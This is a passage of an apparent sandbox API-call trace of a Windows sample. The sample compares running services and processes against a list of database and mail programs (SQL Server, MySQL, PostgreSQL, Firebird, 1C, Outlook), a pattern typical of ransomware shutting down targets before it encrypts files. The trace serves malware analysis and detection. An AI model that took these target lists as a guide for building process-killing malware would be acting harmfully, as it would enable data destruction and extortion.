(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0073.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0073.920] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0073.920] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0073.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0073.920] lstrlenW (lpString="SamSs") returned 5 [0073.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0073.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0073.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0073.920] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0073.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0073.921] lstrlenW (lpString="Schedule") returned 8 [0073.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0073.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0073.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0073.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0073.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0073.921] lstrlenW (lpString="SENS") returned 4 [0073.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0073.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0073.921] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0073.921] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0073.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0073.921] lstrlenW (lpString="ShellHWDetection") returned 16 [0073.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0073.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0073.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0073.921] lstrlenW (lpString="Spooler") returned 7 [0073.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0073.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0073.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0073.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0073.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0073.921] lstrlenW (lpString="swprv") returned 5 [0073.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0073.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0073.921] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0073.921] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0073.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0073.922] lstrlenW (lpString="SysMain") returned 7 [0073.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0073.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0073.922] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0073.922] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0073.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0073.922] lstrlenW (lpString="Themes") returned 6 [0073.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0073.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0073.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0073.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0073.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0073.922] lstrlenW (lpString="TrkWks") returned 6 [0073.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0073.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0073.922] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0073.922] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0073.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0073.922] lstrlenW (lpString="UxSms") returned 5 [0073.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0073.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0073.922] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0073.922] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0073.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0073.922] lstrlenW (lpString="VSS") returned 3 [0073.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0073.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0073.922] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0073.923] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0073.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0073.923] lstrlenW (lpString="WdiServiceHost") returned 14 [0073.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.923] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0073.923] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0073.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0073.923] lstrlenW (lpString="WdiSystemHost") returned 13 [0073.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.923] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0073.923] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0073.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0073.923] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0073.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.923] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0073.923] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0073.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0073.923] lstrlenW (lpString="Winmgmt") returned 7 [0073.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0073.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0073.923] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0073.923] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0073.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0073.923] lstrlenW (lpString="WPDBusEnum") returned 10 [0073.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.923] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0073.924] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0073.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0073.924] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0073.924] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0073.933] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.934] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.934] lstrlenW (lpString="System") returned 6 [0073.934] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0073.934] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0073.934] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0073.934] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0073.934] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0073.935] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0073.935] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0073.935] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.935] lstrlenW (lpString="smss.exe") returned 8 [0073.935] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0073.935] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0073.935] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.936] lstrlenW (lpString="csrss.exe") returned 9 [0073.936] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0073.936] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0073.936] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0073.936] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0073.936] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0073.936] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0073.936] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0073.936] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.937] lstrlenW (lpString="wininit.exe") returned 11 [0073.937] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0073.937] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0073.937] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0073.937] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.938] lstrlenW (lpString="csrss.exe") returned 9 [0073.938] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.939] lstrlenW (lpString="winlogon.exe") returned 12 [0073.939] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.940] lstrlenW (lpString="services.exe") returned 12 [0073.940] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.941] lstrlenW (lpString="lsass.exe") returned 9 [0073.941] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.943] lstrlenW (lpString="lsm.exe") returned 7 [0073.944] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.944] lstrlenW (lpString="svchost.exe") returned 11 [0073.944] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.945] lstrlenW (lpString="svchost.exe") returned 11 [0073.945] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.946] lstrlenW (lpString="svchost.exe") returned 11 [0073.946] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.946] lstrlenW (lpString="svchost.exe") returned 11 [0073.946] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.948] lstrlenW (lpString="svchost.exe") returned 11 [0073.948] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.948] lstrlenW (lpString="audiodg.exe") returned 11 [0073.948] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.949] lstrlenW (lpString="svchost.exe") returned 11 [0073.949] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.952] lstrlenW (lpString="svchost.exe") returned 11 [0073.952] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.953] lstrlenW (lpString="dwm.exe") returned 7 [0073.953] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.954] lstrlenW (lpString="explorer.exe") returned 12 [0073.954] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.954] lstrlenW (lpString="spoolsv.exe") returned 11 [0073.954] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.955] lstrlenW (lpString="svchost.exe") returned 11 [0073.955] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.955] lstrlenW (lpString="taskhost.exe") returned 12 [0073.955] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.956] lstrlenW (lpString="taskeng.exe") returned 11 [0073.956] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0073.956] lstrlenW (lpString="spoken.exe") returned 10 [0073.956] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0074.324] lstrlenW (lpString="cut baby kind.exe") returned 17 [0074.326] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0074.326] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0074.326] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0074.327] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0074.327] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0074.327] lstrlenW (lpString="things apt speaker.exe") returned 22 [0074.327] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0074.328] lstrlenW (lpString="longest.exe") returned 11 [0074.328] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0074.328] lstrlenW (lpString="liberty.exe") returned 11 [0074.328] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0074.329] lstrlenW (lpString="robust.exe") returned 10 [0074.329] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0074.329] lstrlenW (lpString="browse.exe") returned 10 [0074.330] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0074.330] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0074.330] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0074.331] lstrlenW (lpString="blocked.exe") returned 11 [0074.331] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0074.332] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0074.332] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0074.333] lstrlenW (lpString="reno.exe") returned 8 [0074.333] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0074.333] lstrlenW (lpString="vancouver.exe") returned 13 [0074.333] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0074.334] lstrlenW (lpString="africa.exe") returned 10 [0074.334] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0074.334] lstrlenW (lpString="ph-pos.exe") returned 10 [0074.334] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0074.335] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0074.335] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0074.335] lstrlenW (lpString="peaceful.exe") returned 12 [0074.335] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0074.336] lstrlenW (lpString="louise_threshold.exe") returned 20 [0074.336] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0074.336] lstrlenW (lpString="scannerhit.exe") returned 14 [0074.336] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, 